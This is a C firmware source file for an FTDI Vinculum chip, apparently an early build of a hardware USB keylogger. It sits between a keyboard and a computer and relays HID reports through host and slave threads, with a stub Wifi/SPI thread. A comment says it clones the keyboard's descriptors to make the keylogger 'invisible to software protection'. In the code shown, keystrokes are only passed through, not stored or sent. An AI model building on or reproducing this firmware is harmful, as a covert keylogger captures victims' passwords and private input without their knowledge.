/*
** Filename: Project_1.c
**
** Automatically created by Application Wizard 2.0.0
** 
** Part of solution Solution_1 in project Project_1
**
** Comments: 
**
** Important: Sections between markers "FTDI:S*" and "FTDI:E*" will be overwritten by
** the Application Wizard
*/

#include <ioctl.h>
#include "uKeylog.h"
#include "USBSlaveHIDKbdDrv.h"
#include "USBHostHIDKbd.h"

/* FTDI:STP Thread Prototypes */

vos_tcb_t *tcbHostSlave;
void _t_HostSlave();

vos_tcb_t *tcbSlaveHost;
void _t_SlaveHost();

vos_tcb_t *tcbWifi;
void _t_Wifi();


unsigned char slaveStatus;
unsigned char hostStatus;
/* FTDI:ETP */

/* FTDI:SDH Driver Handles */
VOS_HANDLE hUSBSLAVE_1; // USB Slave Port 1
VOS_HANDLE hUSBHOST_2; // USB Host Port 2
VOS_HANDLE hSPI_MASTER; // SPIMaster Interface Driver
VOS_HANDLE hUSBHOSTHIDKBD; // Connects to a HIDKBDdevice on the USB Host Interface
VOS_HANDLE hUSBSLAVEHIDKBD;
/* FTDI:EDH */

/* Declaration for IOMUx setup function */
void iomux_setup(void);

/* Main code - entry point to firmware */
void main(void)
{
	/* FTDI:SDD Driver Declarations */
	// SPI Master configuration context
	spimaster_context_t spimContext;
	// USB Host configuration context
	usbhost_context_t usbhostContext;
	/* FTDI:EDD */

	/* FTDI:SKI Kernel Initialisation */
	vos_init(50, VOS_TICK_INTERVAL, VOS_NUMBER_DEVICES);
	vos_set_clock_frequency(VOS_48MHZ_CLOCK_FREQUENCY);
	vos_set_idle_thread_tcb_size(512);
	/* FTDI:EKI */

	iomux_setup();

	// Initialise SPI Master
	spimContext.buffer_size = VOS_BUFFER_SIZE_128_BYTES;
	spimaster_init(VOS_DEV_SPI_MASTER,&spimContext);
	
	
	/* FTDI:SDI Driver Initialisation */
	// Initialise USB Slave Port 0
	usbslave_init(0, VOS_DEV_USBSLAVE_1);
	usbslavehidkbd_init(VOS_DEV_USBSLAVEHIDKBD);
		
	// Initialise USB Host
	usbhostContext.if_count = 8;
	usbhostContext.ep_count = 16;
	usbhostContext.xfer_count = 2;
	usbhostContext.iso_xfer_count = 2;
	usbhost_init(-1, VOS_DEV_USBHOST_2, &usbhostContext);
	
	// Initialise USB Host Hid Kbd Device
	usbHostHIDKbd_init(VOS_DEV_USBHOSTHIDKBD);
	
	/* FTDI:EDI */

	//vos_init_semaphore(&semInit, 0);
	
	/* FTDI:SCT Thread Creation */
	
	tcbHostSlave = vos_create_thread_ex(20, 4096, _t_HostSlave, "HostSlaveThread", 0);
	tcbSlaveHost = vos_create_thread_ex(20, 4096, _t_SlaveHost, "SlaveHostThread", 0);
	/* FTDI:ECT */

	vos_start_scheduler();

main_loop:
	goto main_loop;
}

/* FTDI:SSP Support Functions */

unsigned char usbhost_connect_state(VOS_HANDLE hUSB)
{
	unsigned char connectstate = PORT_STATE_DISCONNECTED;
	usbhost_ioctl_cb_t hc_iocb;

	if (hUSB)
	{
		hc_iocb.ioctl_code = VOS_IOCTL_USBHOST_GET_CONNECT_STATE;
		hc_iocb.get        = &connectstate;
		vos_dev_ioctl(hUSB, &hc_iocb);

    // repeat if connected to see if we move to enumerated
		if (connectstate == PORT_STATE_CONNECTED)
		{
			vos_dev_ioctl(hUSB, &hc_iocb);
		}
	}
	return connectstate;
}



VOS_HANDLE USBHosthidKbd_attach(VOS_HANDLE hUSB, unsigned char devHID) {
	usbhost_device_handle_ex ifHID = 0;
	usbhost_ioctl_cb_t hc_iocb;
	usbhost_ioctl_cb_class_t hc_iocb_class;
	usbHostHID_ioctl_t hid_iocb;
	usbHostHID_ioctl_cb_attach_t hid_att;
	VOS_HANDLE hHID;

	// find HID class device
	hc_iocb_class.dev_class = USB_CLASS_HID;
	hc_iocb_class.dev_subclass = USB_SUBCLASS_ANY;
	hc_iocb_class.dev_protocol = USB_PROTOCOL_ANY; // should use USB_PROTOCOL_HID_KEYBOARD

	// user ioctl to find first hub device
	hc_iocb.ioctl_code = VOS_IOCTL_USBHOST_DEVICE_FIND_HANDLE_BY_CLASS;
	hc_iocb.handle.dif = NULL;
	hc_iocb.set = &hc_iocb_class;
	hc_iocb.get = &ifHID;

	if (vos_dev_ioctl(hUSB, &hc_iocb) != USBHOST_OK) {
		return NULL;
	}

	// now we have a device, intialise a HID driver with it
	hHID = vos_dev_open(devHID);

	// perform attach
	hid_att.hc_handle = hUSB;
	hid_att.ifDev = ifHID;

	hid_iocb.ioctl_code = VOS_IOCTL_USBHOSTHID_ATTACH;
	hid_iocb.set = &hid_att;
	hid_iocb.get = NULL;

	if (vos_dev_ioctl(hHID, &hid_iocb) != USBHOSTHID_OK) {
		vos_dev_close(hHID);
		hHID = NULL;
	}

	return hHID;
}

void USBHosthidKbd_detach(VOS_HANDLE hHID) {
	usbHostHID_ioctl_t hid_iocb;

	if (hHID) {
		hid_iocb.ioctl_code = VOS_IOCTL_USBHOSTHID_DETACH;

		vos_dev_ioctl(hHID, &hid_iocb);
		vos_dev_close(hHID);
	}
}

void close_drivers(void) {
    /* FTDI:SDB Driver Close */
    vos_dev_close(hUSBSLAVE_1);
	vos_dev_close(hUSBSLAVEHIDKBD);

    vos_dev_close(hSPI_MASTER);
    /* FTDI:EDB */
}

/* Application Threads */


/*
** Sequence should be init host, then init slave as to allow for
** futur setup of slave with information (descriptors) provided by the keyboard. This way, the desc
** will show original information rendering the keylogger invisible to software protection
**
*/
void _t_Wifi() {
    hSPI_MASTER = vos_dev_open(VOS_DEV_SPI_MASTER);


	
init_loop:
	vos_delay_msecs(500);
	goto init_loop;	
}

void _t_SlaveHost(){
	common_ioctl_cb_t hidAttach;
	unsigned short num_read, num_written;
	char buf[1];
	do {
		// open_drivers block
		hUSBSLAVE_1 = vos_dev_open(VOS_DEV_USBSLAVE_1);
		hUSBSLAVEHIDKBD = vos_dev_open(VOS_DEV_USBSLAVEHIDKBD);

		// shouldn't we wait for enum to complete ?
		
		// attach
		hidAttach.ioctl_code = VOS_IOCTL_USBSLAVEHID_ATTACH;
		hidAttach.set.data = (void *) hUSBSLAVE_1;
		slaveStatus = vos_dev_ioctl(hUSBSLAVEHIDKBD, &hidAttach); 
		
		while ( slaveStatus == USBSLAVEHID_OK) {
			slaveStatus = vos_dev_read(hUSBSLAVEHIDKBD, buf, 1, &num_read);
			if ((slaveStatus == USBSLAVEHID_OK) && (hostStatus == USBHOSTHID_OK) && (hUSBHOSTHIDKBD != NULL)) {
					hostStatus = vos_dev_write(hUSBHOSTHIDKBD, buf, 1, &num_written);
				}
		}
		
		// detach
		hidAttach.ioctl_code = VOS_IOCTL_USBSLAVEHID_DETACH;
		hidAttach.set.data = (void *) hUSBSLAVE_1;
		vos_dev_ioctl(hUSBSLAVEHIDKBD, &hidAttach); 
		
		vos_dev_close(VOS_DEV_USBSLAVEHIDKBD);
		vos_dev_close(VOS_DEV_USBSLAVE_1);
	} while(1);
}

void _t_HostSlave() {
	usbHostHID_ioctl_t	hid_iocb;
	unsigned short num_read, num_written;
	char buf[8];
	
	do {
		hUSBHOST_2 = vos_dev_open(VOS_DEV_USBHOST_2);
		//hUSBHOSTHIDKBD = vos_dev_open(VOS_DEV_USBHOSTHIDKBD); // Will be openned in attach

		do {
			vos_delay_msecs(500);
			// wait for enumeration to complete
			//message("Waiting for enumeration\r\n");
			hostStatus = usbhost_connect_state(hUSBHOST_2);

		} while (hostStatus != PORT_STATE_ENUMERATED);
	 
		// Attach_drivers block
		do {
			hUSBHOSTHIDKBD = USBHosthidKbd_attach(hUSBHOST_2, VOS_DEV_USBHOSTHIDKBD);
		} while (hUSBHOSTHIDKBD == NULL);
		
		// get report descriptor
		hid_iocb.descriptorType = USB_DESCRIPTOR_TYPE_REPORT;
		hid_iocb.descriptorIndex = USB_HID_DESCRIPTOR_INDEX_ZERO;
		hid_iocb.Length = 0x40;
		hid_iocb.get.data=&buf[0];
		hid_iocb.ioctl_code = VOS_IOCTL_USBHOSTHID_GET_DESCRIPTOR;
		hostStatus = vos_dev_ioctl(hUSBHOSTHIDKBD, &hid_iocb);
		// check if hostStatus is _OK

		// set idle
		hid_iocb.reportID = USB_HID_REPORT_ID_ZERO;
		hid_iocb.idleDuration = 0x20;
		hid_iocb.ioctl_code = VOS_IOCTL_USBHOSTHID_SET_IDLE;
		hostStatus = vos_dev_ioctl(hUSBHOSTHIDKBD, &hid_iocb);
		// check if hostStatus is _OK
		
		// get idle
		hid_iocb.reportID = USB_HID_REPORT_ID_ZERO;
		hid_iocb.get.data=&buf[0];
		hid_iocb.ioctl_code = VOS_IOCTL_USBHOSTHID_GET_IDLE;
		hostStatus = vos_dev_ioctl(hUSBHOSTHIDKBD, &hid_iocb);	
		// check if hostStatus is _OK

		while (hostStatus == USBHOSTHID_OK) {
			hostStatus = vos_dev_read(hUSBHOSTHIDKBD, buf, 8, &num_read);
			if ((hostStatus == USBHOSTHID_OK) && (slaveStatus == USBSLAVEHID_OK) && (hUSBSLAVEHIDKBD != NULL)) {
				slaveStatus = vos_dev_write(hUSBSLAVEHIDKBD, buf, 8, &num_written);
			}
		} 
		
		// Detach & Close drivers
		USBHosthidKbd_detach(hUSBHOSTHIDKBD);
		vos_dev_close(hUSBHOST_2);
		
	} while(1);
}
